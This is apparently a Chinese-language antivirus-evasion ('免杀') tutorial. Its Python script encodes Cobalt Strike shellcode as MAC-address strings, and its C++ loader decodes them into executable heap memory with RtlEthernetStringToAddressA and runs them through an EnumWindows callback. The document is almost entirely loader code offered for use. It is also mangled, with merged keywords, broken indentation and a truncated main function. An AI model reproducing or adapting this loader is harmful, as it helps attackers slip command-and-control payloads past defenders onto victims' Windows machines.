【免杀】 PY加密C++回调免杀CS shellcode

defconvertToMAC(shellcode):    if len(shellcode) % 6 != 0:       print("n[*] length:", len(shellcode) + (6 -(len(shellcode) % 6)))        addNullbyte = b"x00" *(6 - (len(shellcode) % 6))        shellcode += addNullbyte               mac = []        for i in range(0,len(shellcode), 6):            tmp_mac = ""           for j in shellcode[i:i + 6]:                iflen(hex(j).replace("0x", "")) == 1:                   tmp_mac = tmp_mac + "0" + hex(j).replace("0x","").upper() + "-"                else:                   tmp_mac = tmp_mac + hex(j).replace("0x","").upper() + "-"                   mac.append(tmp_mac[:-1])                    return mac                               if __name__ == '__main__':    buf =b'''shellcode'''    u = convertToMAC(buf)    print(str(u).replace("'","""))

#include<Windows.h>#include <iostream>#include<ip2string.h>#pragma comment(lib,"Ntdll.lib")

//将转换后的shellcode（shellcode->mac）constchar* mac_[] ={  加密shellcode   };

int main(){    HANDLE hc =HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间   void* SB = HeapAlloc(hc, 0, 0x100000);//申请内存   DWORD_PTR hptr = (DWORD_PTR)SB;    int elems = sizeof(mac_)/ sizeof(mac_[0]);    PCSTR Terminator = "";       for (int i = 0; i < elems; i++) {
        if(RtlEthernetStringToAddressA(mac_[i], &Terminator,(DL_EUI48*)hptr) == STATUS_INVALID_PARAMETER)        {           printf("ERROR!");            return 0;       }        hptr += 6;    }   EnumWindows((WNDENUMPROC)SB, 0);